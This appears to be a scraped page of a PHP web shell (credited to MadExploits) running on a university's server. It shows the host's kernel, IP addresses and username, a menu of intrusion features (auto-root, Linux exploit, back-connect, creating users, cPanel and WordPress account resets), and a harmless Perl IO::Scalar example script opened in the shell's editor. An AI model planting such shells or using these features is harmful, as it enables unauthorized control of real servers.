Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.149.231.125
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libio-stringy-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
IO_Scalar_synopsis
2.4
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : IO_Scalar_synopsis
#!/usr/bin/perl =head1 NAME IO_Scalar_synopsis - test out IO::Scalar =head1 SYNOPSIS ### From our distribution's top level directory: perl -I./lib examples/IO_Scalar_synopsis =cut use 5.005; use IO::Scalar; use strict; my $line = ('-' x 60)."\n"; my $somestring = "My message:\n"; ### ### Perform I/O on strings, using the basic OO interface... ### ### Open a handle on a string, and append to it: print $line; my $SH = new IO::Scalar \$somestring; $SH->print("Hello"); $SH->print(", world!\nBye now!\n"); print "The string is now: ", $somestring, "\n"; ### Open a handle on a string, read it line-by-line, then close it: print $line; $SH = new IO::Scalar \$somestring; while (defined($_ = $SH->getline)) { print "Got line: $_"; } $SH->close; ### Open a handle on a string, and slurp in all the lines: print $line; $SH = new IO::Scalar \$somestring; print "All lines:\n", $SH->getlines; ### Get the current position (either of two ways): my $pos = $SH->getpos; my $offset = $SH->tell; ### Set the current position (either of two ways): $SH->setpos($pos); $SH->seek($offset, 0); ### Open an anonymous temporary scalar: print $line; $SH = new IO::Scalar; $SH->print("Hi there!"); print "I printed: ", ${$SH->sref}, "\n"; ### get at value ### Don't like OO for your I/O? No problem. ### Thanks to the magic of an invisible tie(), the following now ### works out of the box, just as it does with IO::Handle: ### Open a handle on a string, and append to it: print $line; $SH = new IO::Scalar \$somestring; print $SH "Hello"; print $SH ", world!\nBye now!\n"; print "The string is now: ", $somestring, "\n"; ### Open a handle on a string, read it line-by-line, then close it: print $line; $SH = new IO::Scalar \$somestring; while (<$SH>) { print "Got line: $_"; } close $SH; ### Open a handle on a string, and slurp in all the lines: print $line; $SH = new IO::Scalar \$somestring; print "All lines:\n", <$SH>; ### Get the current position (WARNING: requires 5.6): $offset = tell $SH; ### Set the current position (WARNING: requires 5.6): seek $SH, $offset, 0; ### Open an anonymous temporary scalar: print $line; $SH = new IO::Scalar; print $SH "Hi there!"; print "I printed: ", ${$SH->sref}, "\n"; ### get at value ### Stringification: print $line; my $str = ""; $SH = new IO::Scalar \$str; print $SH "Hello, "; print $SH "world!"; print "I printed: $SH\n"; ### Done! 1;
Close